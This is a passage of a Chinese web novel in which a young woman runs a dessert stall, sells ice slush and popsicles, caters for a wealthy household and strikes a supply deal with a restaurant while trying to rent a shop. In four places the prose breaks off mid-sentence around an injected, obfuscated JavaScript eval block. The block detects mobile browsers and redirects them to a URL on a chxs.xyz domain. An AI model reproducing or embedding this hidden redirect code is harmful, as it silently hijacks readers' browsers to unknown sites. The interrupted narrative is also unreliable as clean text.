王翠花懵了，一个要休了她，一个要拿她换弟弟。她一心一意为这个家，只不过想让家里多攒点钱，只不过想替弟弟寻个生计，结果到好，她里外不是人了。 “方儿呢，我要找方儿。”王翠花突然想起儿子，他儿子可是读书人，他一定有办法。 王翠花爬着，在柱子后面找到了好方，激动道：“快，儿子。你快去和他们说我没偷房契，说完娘回家给你炖肉吃，好不好。” 好方什么时候溜过去的无人在意，只有角落的好安挑了挑眉。 “这个不是说就有用的，况且，”好方说着抬脚，怯怯地退后了一步，避开了王翠花伸出的手，说道：“况且你马上就不是我娘了。” 看热闹的好安算是反应过来了，原来不是好大山要休妻，是好方要休娘。 好方自许读书人，要清白，不想要有污点的东西，哪怕这个人是他娘。 十几亩的稻麦没累垮她，三伏天的骄阳没晒化她。好方一句轻飘飘的话让她眼里失了神。 “不是我娘了，不是娘了。”王翠花轻轻地念叨了几遍，突然夸张地笑了起来，说道：“我凭什么认，我做错了什么？我干什么不都是为了你们？” 王翠花面目狰狞的凑到她娘面前，似是疯狂道：“从小吃的喝的穿的，我哪样不让着王有财，现在还想让我替他蹲大牢？做梦！两贯钱要打板子还是坐牢我认了，但王有财给我在里面呆着！” “还有你，好大山。我给你生了一儿一女，你爹娘都是我伺候送走的。你要是敢休我，我就吊死在你祖坟上，做鬼也不放过你！” 第二天，王翠花被送去衙门，她只认偷钱一事，拒不认房契一事。王家老太太直接被气晕了过去。 等王家老太太醒来，王有财已经被送去北边，她连儿子的最后一面都没见着。亲家也把儿媳带了回去，说两人还没孩子，全当这门亲事没有过。 王翠花的事情告一段落，好安又拾起她的破壁机。 她最近想了个点子。 齿轮。 用大齿轮带动小齿轮。小齿轮转的圈数肯定比大齿轮多。只要确保啮合正确，模数匹配，再计算出合理的扭矩，一定能提高效率。 当然这种手工活承包给谢宗林，好安只负责给数据。 谢宗林得了图纸连夜琢磨赶工，只用了一天半，自制的齿轮加速器便做好了。 他为了好安用着方便，还把加速器缩成竹筐大小，刚好能放在好安的推车上。 ———— 冰浆一经推出便广受欢迎，尤其胡瓜味的。 切成块的胡瓜和蒸好的白糯米一起放进破壁机打碎，融合，再倒入削成碎片的刨冰充分搅拌，最后撒上一层去皮的花生碎和红糖浆汁，一碗胡瓜味冰浆便做好了。 加钱的话还能做胡瓜牛奶味冰浆。 短短两天，冰浆不仅征服了学院的学子，全县的人都知道学院门口有个好记，她家的冰浆独一无二，既冰凉清爽又顺滑棉实。 这几天，学院还没下课，好安的摊位上就有人排队了。 好安又趁热推出桃子和李子味冰浆，甚至只要给钱，一次可以选择多种口味混打。 五六天的功夫，好安靠着冰浆赚的盆满钵满。 今日，好安正收摊回去，被一个身穿铜绿色波纹短衫，姜黄色长裙的妇人拦住。 “我是沈府的管事。”妇人说完先行了一个礼。 “姑娘的冰粉、奶茶、冰浆在万和县独一无二，十分抢手。我家少爷每次差人来买都不一定能卖全。” “是很抢手，所以你找我干嘛？”好安也不谦虚，她对自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952015|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的东西很有信心。 妇人愣了一下，随即笑了笑，说道：“我家少爷七月初三中午要宴请同窗，想和姑娘定这三份饮子甜品。” “订餐？” “？”妇人没懂好安的意思，直接说道：“算是雇厨。姑娘要是忙的话可以提前做好，我派人去取。姑娘要是不忙的话，沈府后厨也欢迎姑娘。” 三伏天里没有什么节日，但每个地方会有避暑晒伏的活动。 七月初三就是万和县的避暑晒伏日。这一天学院不上课，可以在家呼朋唤友，晒文房四宝，古籍典藏，也可以相约河边饮草药茶，晒制伏姜。 好安原打算那天去河边支个摊子，买花草茶。 现在有外快，不赚是傻子。 “你，沈府每样想订多少份？”好安问道。 “每样二十份。价钱就按照姑娘平日的价格定如何？” “那我去沈府做多少钱？食材沈府提供吗？做完就能走吗？”好安心里的算盘噼里啪啦响。 “当然。给的钱是一样的，但沈府提供一切食材。”妇人面带微笑，语气温和。 “去沈府做。”好安果断应下。 这三样东西除了珍珠稍微费事，其他都很快。去沈府可以做完就走便不影响卖花草茶。 因这事，好安今日回家便晚了些。 离家还有数丈远，好安察觉出了不对劲。 他家门口好像被围了起来。 好昕出事了？好安想不了太多，跳下牛车撒腿便往家里跑。 等跑近一看，围着她家的不是人，而是两车货物。 刘树林来了。 “快请进。”好安连忙给远道而来的人盛了两碗凉白开，“你们比预计来的早呀。” 按正常脚力算，从刘家沟到好家村，带着货物要十几天，再加上刘树林回去要时间，摘果子也要时间，好安心里都做好一个月起步的准备了，但刘家兄弟只用了二十几天。 “我先拖人带信回去了，等我到家的时候果子都摘好了，没耽搁什么时间。”刘树林挠了挠头说道。 刘树林兄弟俩除了睡觉都是在赶路，饭都是轮流在车上吃的。他俩到好村南边的时候人都搜了，怕熏着好安留下不好的印象特意在附近河里洗了把澡。 “灯笼草和木馒头都足足的，核桃实在没那多，可能不到五十斤。” 刘树林家里人嘱咐过他们，到别人家要手脚勤快些，主动帮人抬抬搬搬，所以刘树林兄弟俩刚喝完就立刻帮忙卸货称重，好安劝都劝不住。 好安回屋数了两百三十文，灯笼草和木馒头都超了七八斤，还有不少树苗。刘树林说这些就算送的，但好安还是按照说好的价格算了。 “这个是木馒头的苗。”刘树林翻出五根藤苗递给好安。 “藤苗？”好安今天才知道木馒头是爬藤的。 “你要搭一个高一点的架子。”刘树林抬手比划到最大幅度，说道：“养得好过两年就能结果。” 好安连忙伸手接过，这可是摇钱藤，要靠着它从富人手里捞钱的。 23. 手摇冰棍 入了七月，好安给沈府递了一份采买的清单。 等约定的日子一到，她便带着她的破壁机上门了。 沈府后门一早便守着一个小厮，一看见好安的身影便连忙通知府里的管事。 “姑娘请。”一个梳着双髻的丫鬟专门引她去厨房。 沈府占地颇大，连廊弯弯，轩顶精湛，让人一看就知道是个讲究的人家。 好安跟着丫鬟一路绕啊绕，足足走了一刻才到。 沈府的厨房是个单独的院子，丫鬟直接把她带到上次拦她的妇人黄管事面前。 黄管事见好安独身前来面露惊讶，问道：“姑娘一人可忙的过来？要寻个帮手吗？” “要一个会烧火的就行。”好安原本想带着谢宗林的，但她听说今日河边好的摊位有限，只能先让他先去占地方。 黄管事唤来一丫鬟，对好安说道：“兰香火候把控极好，就让她给姑娘烧火吧。要是有其他事情也可以吩咐她。”说完，又转头对兰香道：“带好姑娘去东边第三个房间。” 沈府厨房所在的院子是个标准的回字型，东南西北四个方向都有房间。 好安跟在兰香身后，发现路过的每一个房间都是一个独立的厨房，里面都有人在忙碌。这锅的密集度堪比大酒店的后厨。 “姑娘请。”兰香掀起薄薄的竹帘示意好安先进。 好安一进屋便发现她要的东西都整齐的摆放在灶台旁边的桌子上。 除了她要的，桌子上还有很多常用的粉、面和调料。 不愧是大户人家。别说是这一院子的厨房，她要是有这一间就满足了。 兰香帮她把破壁机放到台子上便安静的站在一旁。 好安低头仔细检查她要用的每一样食材。 光白糯米就备了三种，有圆润饱满的，有颗粒细长的。 茶叶更是多样。好安清单写得粗略，茶叶方面只写了红茶和绿茶，但现在桌子上的茶叶不下二十种，怕是市场上有名气的茶叶都买了点回来。 看到自己提的要求有被认真对待，好安兴致也高，煮了四种不同口味的奶茶，每种口味都分出冷热两版，冰粉也被她摆出花来——“九宫格”。 一碗冰粉配九个小碟，就是九种配料。不仅有一经典的芝麻、山楂碎和花生碎，她还把水果切成小块加了进去。爱吃哪样就加哪样，自己DIY。 好安做好后请黄管事过目，确认无误后领了工钱便赶去河边。 堤岸上最靠前的位置已经被商贩占满，好安没和谢宗林说要具体哪个位置，好安只好一路找过去。 “这不好记的摊主吗？”有学生认出好安，说道：“她今天在这，我们是不是有冰浆吃！” “跟着不就知道了。” 好安忙着找人，完全不知道自己身后已经跟了三个馋鬼。 谢宗林把摊子摆在一颗树下，茂盛的树冠盖下一片阴凉，是一个极好的位置。 好安还没摆好摊子，身后的馋鬼便冒了出来。 “今有冰浆嘛？” “今日不卖冰浆，卖手摇冰棍。”好安笑脸相迎。 她今日煮了八样花草茶，但她不卖花草茶，卖花草茶味的冰棍。 “冰棍？”显然又是个新名词，学生面露疑惑的同时又带了点兴奋。 “冰棍现做，八种口味任君挑选。”好安把八种花草茶写在牌子上挂在手摇冰棍机的前面，“要来一根吗？” “你这么花草茶不是水吗？哪来的冰？”有路过的人好奇问道。 “摇一摇，我就能让水变成冰。”好安得意道。 “切，摇一摇就能把水变成冰，那你不成神仙了！”周围有人听了好安的话一边大笑，一边说她痴心妄想。 点水成冰他们不是没听说过，正因为听说过才觉得荒唐。 “你选一种花草茶试试不就行了。”好安不屑争辩，指了指牌子说道：“二十文一根，童叟无欺。” “我来一根菊花薄荷茶。” “我也来一根，我要荷叶陈皮茶。” “我要酸梅汤味的” 三个学生耐不住好奇决定试试。 他们在没吃冰浆之前，也不知道糯米能和冰块水果融合的如此完美，现在手摇冰棍，听着像仙术一样更要试试。反正二十文钱对他们来说不算什么。 众目睽睽之下，好安将三种花草茶倒进模具，插入竹签，便握着手把开始摇。 这期间不少人围了过来。好安记着时间，摇差不多了便抽出模具，过水脱模。 冰棍细长完好，好安松了口气。 第一次成功，是个好兆头，准备看她笑话的人只好尴尬的笑笑。 东边大树下有个点水成冰的姑娘在卖冰棍。不用好安宣传，围观群众散去后自发宣传起来。一传十，十传百，不用一会整个河岸都知道了。 不少小孩听了故事，吵着闹着要爹妈带他们去买，他们也要吃点水成冰的冰棍。 一份花草茶卖二十文太贵，但一份花草茶冰棍卖二十文，还附送点水成冰的表演那就可以接受了。 好安摊子前排起了长龙，卖到后面为了保证排队的都有，好安不得不搞起限量，一人只能购买一根。 后来，万和县三伏天吃花草茶冰棍逐渐成为万和县独有的传统。 ———— 隔日摆摊，好安的生意更胜从前。 昨日没有买到手摇冰棍的孩子回家一直闹，大人没办法只能承诺明天去买。可到了才发现手摇冰棍是限定产品，今天没有，要想吃得等到末伏。 好安也想天天卖，一根二十文，一天百八十根，简直暴利。但她要是天天卖，大伙很快就会没了兴致，一天要是卖不了几根都不够她买冰买盐的钱。还不如饥饿营销，每年入伏和末伏的时候卖一次，中间避暑晒伏时再卖一次，把大家期待值拉满。 小孩扒着手指头数了数，发现还要等七天。 “不是我不给你买，是人家不卖。”大人心里松了口气，想着这回不闹了吧。 小孩子才不管这些，嘴一撇就要哭。这种情况不止一个，最后都是大人买了其他好吃的才罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957275|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休。 饭点一过，好安照旧收拾东西离开，但她没有直接回家，而是去了南街的王记酒楼。 她都打听过了，七月初三沈府的少爷请客，来的不仅有同窗，还有几个沈家亲戚，王记酒楼的少东家便在其中。 “姑娘想吃点什么？”此时已过了饭点，店里人不多，掌柜便亲自来招待。 好安对掌柜浅浅一笑，并没有开口，而是把手里的食盒放在桌上，端出了一碗冰粉，笑吟吟的说道：“我今日不来吃饭。” “嗯？”掌柜嘴巴一抿，但脸上依旧是和善的笑容。 “我来请掌柜吃饭。”好安嘴角噙着笑，伸手把冰粉往前推了推。 掌柜不由一愣，他从小二到掌柜三十年，都是他伺候客人吃饭，还是第一次客人请他吃饭。 惊愕转瞬即逝，掌柜拉过凳子坐了下来。 “这是万和书院门口的冰粉？”掌柜用勺子轻轻搅了两下，便认出碗里的东西。 好安眼皮轻闪，谦虚说道：“普通甜品，没想到都传到了掌柜这里。” “我家子侄在书院读书，有经常听他提起过，”掌柜慢悠悠地舀了一勺子送进嘴里，细细品尝。味先甜后清，粉入口即化，和他之前托人买的味道一模一样。 “想必姑娘就是好记的摊主吧。” “正是。”好安微笑着对着掌柜点点头。 掌柜脸上抬起笑纹，指了指冰粉说道：“姑娘是为这个而来的吧。” 好安没有否认，问道：“不知这个可入了掌柜的眼？” “入不入我眼不重要，重要的是入东家的眼。” “那也得先入掌柜的眼。”好安眼含微笑地看向掌柜，恭维了一句。 “不知姑娘如何称呼？” “好安。” 掌柜畅然道：“好姑娘且等等，我去帮你汇报一声，成与不成就看你自己了。”说完便让小二给好安换到二楼的一个包厢，还上了不少瓜果茶点。 王记酒楼在万和县开了数十年，一代传一代，他们的菜品不仅种类繁多，摆盘色彩搭配也精致合理，口味更是不用说，唯一的缺点就是他们家的甜点。 王记的师傅在做菜方面各有所长，但就是没有一个师傅长到甜点上，导致王记七八年了，甜品方面没什么长进，比起县里的其他两家酒楼一直略逊一筹。 好安正是看中了这一点，而且王记少东家的母亲是沈府老爷的亲妹妹。 沈府是官宦人家，不论京城，还是府城、县城都有人在位。 王记有沈府这样一个靠山在万和县不可谓不稳。 好安足足等了一个时辰才从窗口瞧见掌柜的身影。他紧跟在一辆不起眼马车旁，正低头躬身对着马车里的人说话。 好安转过头，理了理衣衫，拿出一副不紧不慢的神情。 片刻后，东家没进来，掌柜反先进来了。 掌柜掏出帕子擦了擦头上的汗，对好安恭敬道：“东家想请您去后院一絮。” “请。”好安抬手示意带路，掌柜忙不迭地为她推开厢门。 24. 王记酒楼 好安没想到闹市里还有如此僻静的院子。这个院子和酒楼仅隔着一堵墙，要是走动得通过一扇木门。木门里侧还有小厮看守，一副闲人免进的模样。 掌柜：“这里。” 好安跟着掌柜左拐右绕最后停在一个栽花小院前。 这个院子比其他地方精致的多，从水池假山的摆放就可窥见一斑。院中有池，引水从假山而下，发出潺潺水声。流动的水柱散出细密的水汽，沁出丝丝凉意。 掌柜敲了敲房门，说道：“东家，好安姑娘来了。” “进来吧。”屋内传来年轻的声音。 “请。”掌柜边说边转身为好安介绍道：“里面这位便是东家了。” 一入眼便是一张八仙桌，两把太师椅，一条案几，两个高脚花凳，左右对称，端庄大气。 哦，正中间还杵着个年轻人。 “好姑娘请坐。” 好安顺着掌柜的指引落座在巨大的屏风前，和年轻人面对面。 掌柜为二人看茶。 “姑娘的冰粉在万和书院卖的很好，在下也略有耳闻。”年轻人话说一半顿了顿，像是想起还没自我介绍，连忙补充道：“在下姓王，单名一个宁字，是王记的少东家。” 名字都忘记介绍，看着像是一个不拘小节之人。 “姓好名安，好记的东家。”好安言简意赅道，也不介意眼前这个人是少东家而不是东家。 “掌柜的说过了。”王宁端起茶杯撇着沫道：“好姑娘此番上门不知有何打算？” 王宁开门见山不兜圈子。 “当然是来合作的。”好安瞅见王宁端着茶杯光撇茶水却不喝，便猜他其实是个不爱喝茶的，于是端出两份冰粉道：“王老板吃过吗？” 王老板昨天才吃过，甚至还大夸特夸了一会，但王老板不说。 掌柜很有眼色，立刻接过冰粉摆到王宁面前。 “嗯。”王宁先漫不经心地哼了一句，然后尝了一口：“清凉顺滑，不错。” “好姑娘的生意正好，怎么突然想找人合作呢？这不是分利了嘛。”王宁又吸溜了一口，继续道。 “这得看王老板了。”好安面上笑嘻嘻，心里确骂了句老狐狸。 王宁先是让她觉得自己是个散漫的，其实背地里给她挖坑。用一句分利来试探她的态度，那她就回她一句废话。 王宁眼睑微抬，手里的扇也停下，双眼直视好安，问道：“好老板想如何？” “王老板想如何？”好安不疾不徐地把问题抛了回去：“毕竟是王老板掏钱，我想多听听王老板的意见。” 好安把王宁踢回来的路堵死。 王宁挂颜一笑，转动手腕继续摇扇，懒懒开口道：“我想啊，我当然是想好老板忍痛割爱。” “王老板谦谦君子，既然知道痛又怎么舍得让小女子割爱呢？”好安漫不经心色道。 王宁：不，他舍得。 王宁刚要开口，又听好安说道：“再说了，我说的是合作，王老板说的是割爱。其中差别之大王老板可别听错了会错了意。” 好安：你个聋子。 好安端起茶杯轻轻抿了一口，“茶汤清爽透亮，入口鲜爽回甘，好茶。”说完，又拿起勺子舀了一点冰粉放在茶里搅碎，对他说道：“王老板不防试试这样。” 王宁不语也舀了几勺放进自己的茶碗里，浅尝一口。 嗯？王宁不禁眼前一亮。 他喜欢茶叶的清香，但不爱喝茶。他从小不管喝什么样的茶都觉得有股说不出来的苦味。 这次在茶里加了冰粉，茶味却没有被冲淡，不仅压下了这股苦味，还增添了一份香甜清爽。 “如何？”好安紧盯着王宁的神情变化，见有惊叹从眼底闪过，就知道他十分满意。 但做生意的人哪能吐露太多想法，吐了还怎么砍价。 “还行。”王宁放下茶杯，问道：“好姑娘说的合作是如何合作法？” 好安笑了笑：“合作自然是取长补短。我有东西，你有销路，这不就是最好的合作吗？” 王宁笑而不答，喝完手里的茶才张口问道：“若按照好姑娘的意思来能给出什么样的价格？” 好安问道：“你可知我在万和书院一碗卖多少钱？” “不加料的四文一份，加料的五文一份。” “所以我还是这个数。”好安竖起四根手指，一副便宜你的模样道。 “不是，”王宁被好安理所当然的模样逗笑了：“你自己卖四文，卖给我也四文，我赚什么钱？” “话不能这么讲，”好安摇摇头，指了指冰粉上小料和一旁的茶水，笑吟吟道：“这，这不都是钱吗？” “这能……”王宁话未说完便被好安打断。 “再说我在摊子上用竹碗装的和您在店里用陶碗瓷碟再配上不同鲜花瓜果、石蜜甜酱的东西能一个价吗？”好安勾起嘴角，眼底闪过一丝狡黠。 王宁语塞，他发现这姑娘有做奸商的潜质。 “我之前来过王记，上次的甜点饮子和这次来的还是一模一样。”好安见王宁没把她撵出去就知道他还是心动的，便又刺激刺激了他，说道：“王记的菜道道精美，其他几家根本无法比拟。但要是再加上我的冰粉，王记就是万和县当之无愧的第一酒楼。” 好安说的不无道理。 “你让我静静。”王宁支吾了半天只说了五个字。说完就绕道了屏风后。 好安莞尔一笑，她知道屏风后面还有一个人，毕竟少东家和东家还是差了一个字。 不过片刻的功夫，王宁就静完出来了。 “如何？”好安将发丝捋到耳后，面带微笑地看着王宁。 “这个方子只有你有吗？”王宁神色认真，完全不见之前的吊儿郎当。 嗯，重点问题。 “王老板走南闯北，可在其他地方见过这个？”好安反问道。 好安和沈宁心照不宣地笑了笑。 “如果我卖了，你还会卖吗？” “只会在我好记的摊子上卖，一天一桶。” 换言之，只要王记有能力，她可不管王家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960796|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖到哪去。 好安从不准备给王记独家，至少现在不会。一桶冰粉是小，可通过一桶冰粉她可以看出其他很多的东西。 顾客的消费能力、顾客的口味喜好，这些都远比一桶冰粉值钱的多。 “一碗四文，好老板你摸摸心口说这个价格合适嘛。酒楼里吃饭的不只有达官贵人，还有很多普通人。你四文一碗已经卖了许久，定价了。我这边忽然提价岂不遭人唾骂。”王宁说道。 “额——”好安面露犹豫，最后摆出一副再三思虑的姿态说道：“王老板说的不无道理。要不我就按桶卖给您？” “一桶能有多少碗？” “一桶能有十五斤。我按照一桶一百五十文的价格给你如何。”好安眉头紧皱，做出一副舍不得的模样。 “这个价格能不能再……”王宁话未说完，好安便连连摆手，说道：“一桶能装四五十碗，划下来一碗才三文钱。我整整让了一文钱的利，不能再低了。” 王宁见好安一副要逃的模样便应了这个价格。 “你一天能提供几桶？” “你想要几桶？”好安问道。 “刚开始可能要五桶，后面看情况增减。” 好安点点头表示理解，追问道：“冬天你们要吗？” 王宁低头想了想道：“冬天先不要，只要夏秋。” “没问题，春冬天要了后面再说吧。” “行，那就这么定了。”王宁“刷”一声合起扇子，拿起笔墨开始起草契书。 “看看这样写可行？” 好安接过一字一句的看了一遍，见重要内容都写上了便点头同意了。 “那现在去趟衙门吧。”王宁迫不及待地说道。 ———— 从衙门出来，好安得了整整一贯的定金，她掂了掂满当当的荷包，嘴角的笑意是压都压不住。 “之前不是准备明年再找这些酒楼大户合作的吗？怎么提前了？”谢宗林站在好安身后问道。 谢宗林跟着好安家吃饭，一个月下来早就没了当初的瘦骨嶙峋，脸上胳膊上明显有肉了，身高都串了几回。 “之前是这么准备的，但是我前几日看上的一个铺面快要到期了，而且原本的租户不续租。那个铺子地理位置好，铺面敞亮，地下还能存冰。”好安满心欢喜道：“我得抓紧筹钱拿下！” “你在县里不是有铺子吗？为什么不用自家的铺子？”谢宗林不解道。 “我家的铺子不适合。”好安扫了一眼四周，说道：“你看这一片，一套房值多少钱。你再看我家铺子那一片，一套房值多少钱。” 万和县论人口，南边和西边最多，房子一个挨着一个，巷子一条接一条，抬头一线天，转角撞到人，处处逼仄。论财富权力，什么府谁家院的都在东边和北边，家家户户最少都有一个宽敞的院子。 “铺子周围的房价最能反应附近居民的消费水平。我以后要开的甜品铺，专卖一些大家都没见过吃过的东西，定价低不下来。与其在普通人身上搜刮，不如去薅富人的羊毛。” 25. 租赁 好安蹲在院子里，一手账本，一手树枝，不停的写写画画。 目前冰粉的收入是最多的，定价便宜，天天四五十碗保底，卖了将近两个月，赚了十几两银子。 单价最贵的冰浆只买了十天，也有四两多。 加上奶茶、手摇冰棍和沈府的外快，再扣掉一些食材和模具的钱，还剩二十五两。 后续还要店面装修，食材采买，好安最多能拿二十两租铺面，离铺子的租金还差十两。 一文钱难倒英雄汉，更别说十两银子。 好安吃饭的时候眉头都是紧的。 “是租金不够吗？”谢宗林问道。 “还差一点。”好安说道：“再攒攒就行了。” “县里寺庙翻新还没结束呢。我认识他们的管事，说最近赶工，一天给两百文，我明个去问问还缺人不。” “不用，他们的活太重，一天至少要干八个时辰，你好不容易养了点肉，去了保证给你打回原形。”好安难得主动给谢宗林夹了一块肉，说道：“你还是继续卖水。” 这张餐桌上，好安是一家之长，谢宗林虽不是好家人，但也不敢逆了她的意思。 第二日，好安抽空去了趟牙行。 好安和牙人约的时间是两天后，牙人没想到好安这么快就来了，面露惊讶。 “好老板。”牙人见好安手里拎了几捆细细长长、黄黄白白的东西，疑惑道：“这是？” “这是我自家种的豆芽菜，刚长出来一些，送来给您尝尝。”好安跟着牙人走进屋内。 “还真没见过这种菜，好老板真是厉害。”租户给牙人送些不值钱的东西是常有的事，牙人赵婶便没有推辞接过。 “我这有花草茶和绿茶。好老板要喝什么？”赵婶问道。 “花草茶吧。”好安随口答道。 “花草茶好，养颜祛湿，对身体好。不像绿茶，我喝了就成宿的睡不着觉。”赵婶说着给好安奉上一壶菊花茶，“这是我今年新晒的，尝尝是不是很香。” 好安轻轻抿了一口，笑道：“不仅口感清香，还有淡淡的清爽回甘。” 赵婶听了很是开心：“好老板是卖花草茶的，这菊花茶能得好老板夸奖我下次可要在姐妹间好好炫耀一番。” “是赵婶手巧。”好安笑了，转而说道：“我今提前来是有件事想请赵婶帮帮忙。” “我们上次看的铺子是顶顶的好，不论是位置，还是房型大小，样样都在我心坎上。唯一不好是我手里钱不够多。我想请婶子问问赁主，能不能先付半年，另外半年的容我缓五天，五天一到我立刻补上。一次付一整年我资金实在周转不开。” 赵婶听完皱了皱眉，说道：“我帮你说说，但能不能行你要做好心理准备。他家铺子就是位置太好，一天能有好几个来看房，不愁租的，所以他这个人不大好说话。” “赵婶能帮我说情就行，成不成是另外一码事。”好安点点头，继续说道：“我就刚开始这半年手头紧些，后面我都按年付。赁主要是不放心，这半年我可以押一付六。” “这押一付六是个什么意思？”赵婶神色疑惑。 “就是我一次性付七月个月的租金，其中一个月的租金算押金，先存放在他那。半年后我但凡有一次没按照约定的时间付租金，他就可以把押金归为己有。但我要是每次都按照约定的时间付了，等租期到了他要把押金退我。” 赵婶听完沉思片刻，忽而眼睛一亮，说道：“你这个主意不错。他家离这不远，我现在就去帮你说说，你要是没事的话在这先等等。” “行。”好安起身送赵婶离开。 一个时辰后，赵婶脸色凝重的回来了。 好安一看便知道没成。 “唉，我是好说歹说他就是听不进去。押一付六多好的方式，他就是不同意。说什么他年纪大了，年轻人的主意听不懂，死活就是要一整年的租金，寸步不让。”赵婶说着叹了口气道：“不知变通。” “没事。他不接受自然有不接受的原因。倒是我还麻烦婶子来回跑一趟。”好安抱歉道。 “你放心，那条街上铺子不止他一家，好铺子也不止它一个。婶子一定帮你留心，给你找到一个合心意。”赵婶拍了拍胸口保证道。 好安反倒没有太失落，铺子没租下来钱才是最大的问题。 想要有好铺子还是得赚钱。 摊子上现在卖得几样还是偏饮子，好安琢磨了一下，准备拓展业务卖卖糕点。 之前经常去的那家粮店刚上架一批新磨的面粉。 好安特意买了一份粘米粉和一份小麦淀粉做钵仔糕。 个小、不占地方，顾客也方便拿着。 将粘米粉和小麦淀粉按照三比一的比例混合均匀后一点一点的加入温水和成面团，简单揉捏几下增加Q弹顺滑的口感。 再倒入适量温水，把面团化成丝滑的粉浆。 红糖加水煮开，趁热倒入粉浆时好安边倒边搅，防止分层。 钵仔糕的馅料她准备三种，红糖的、红糖珍珠的，还有红豆的。 红糖和珍珠有现成的，只有红豆需要现煮。 卖面的当晚好安便将红豆泡上了。 饱满的红豆提前浸泡一碗，然后开水上锅，煮至变软不变烂，一捏即碎的状态再用水洗净沥干。 为了保证钵仔糕有完美的“肚脐眼”，好安提前将模具上锅，空蒸片刻后再倒入粉浆和小料。剩下就是大火蒸上一刻钟。 最后好安将冷却的钵仔糕插上竹签脱模，按照口味分类，整齐地摆放在推车上，盖上一层白纱布。 赚钱的一天又开始了。 “好记”在万和县的学生间自有一定的名气，需要好安主动吆喝的阶段已经过去。 摊子一到，招牌一挂，自有学生主动排队，新品也无需多言。 好安做的钵仔糕定价不高，不仅学生爱买，很多孩子攒了几文钱，也隔三差五的买上一个尝尝。 留意到这点，好安后面做钵仔糕都会多做上些。学院午休时间结束了，她把剩下的钵仔糕插在草木棒子上，让谢宗林走街串巷的卖。 不是她偷懒，她要赶着回去搓冰粉。 王记只有第一天要了五桶，后面两天都是七八桶。 昨天好安还收到了王宁送来的帖子，说今天会正式推出冰粉，希望好安一家能来捧个场。 那天刚好学院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967465|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旬修，好安得空，她也正想看看王宁会怎么卖便答应了。 虽过了立秋，但还有几日才出伏，太阳依旧扎实。 好安刚到这条街的路口，便看见王记酒楼门前大变样。 王宁在正门一侧的斜前方搭了一个简约又不失野趣的竹棚。棚子下放了一个大大的冰粉牌子。 蓝天白云绿竹棚看着就清新舒爽，仿佛站在棚下就隔绝了炎热。 棚子里弯弯绕绕地排着长队，现在是巳时，太阳已接近最毒辣的时候，可仍有不少人都站在棚子外了也要排。 好安忍不住好奇凑上前去往棚子里瞄一眼，一张长桌，两个小二。长桌上摆着她家专门装冰粉的竹桶和许多空竹管。 一位小二负责舀冰粉，一位小二负责揽客。 “清凉冰粉，今日免费尝，一人一次，数量有限，先到先得。” 用免费试吃吸引大伙眼光，让全县快速知道王记推出新的甜品，还让王记讨论度提高，增加曝光，再让大伙亲身体验。获得良好体验的人自然而然成为王记的顾客。这波王记不仅营收大增，还能博得一个好名声。 好安正要转身进店，又见一群孩子边跑边唱：“伏天暑气重，王记有新尝，一碗冰粉送，能把夏日凉。” 一个个红扑扑的脸蛋上都是汗珠，但他们像是感觉不到般，每个人的眼睛都是亮晶晶的。 王记是懂营销的。 好安抬脚跨进沈记，一眼便看到四个角落立着大块的冰石，凉意连绵不绝。掌柜见好安来了，连忙抽出身来要引她去二楼包厢。 王记一楼现下坐满了人，甚至还有拼桌的。他们每个人面前至少都摆了一碗冰粉，还有不少人见实在没有座位，只好打包带走。 小二们更是忙得脸都快笑烂了。 “我知道哪个包厢，自己能去。”好安见生意如此兴隆便不想打扰掌柜。 “那怎行，您可是贵客。我必须亲自为您引路。”说着就抬手相请。 二楼包厢的凉气更甚，王宁今日一早就来店里，倚着窗户看楼下人进人出。 “好老板，快请坐。”王宁见好安进来，立刻递上一份菜单。 好安翻开菜单，发现甜点饮子一栏整整多出一页的新名字。 “这些都是冰粉做的吗？”好安看着这些奇奇怪怪的名字对王宁起名的能力叹为观止。 “这些，都上一份。”王宁豪气道。 没用多久，菜就上来了。一张桌子没够放，又拼了一张。 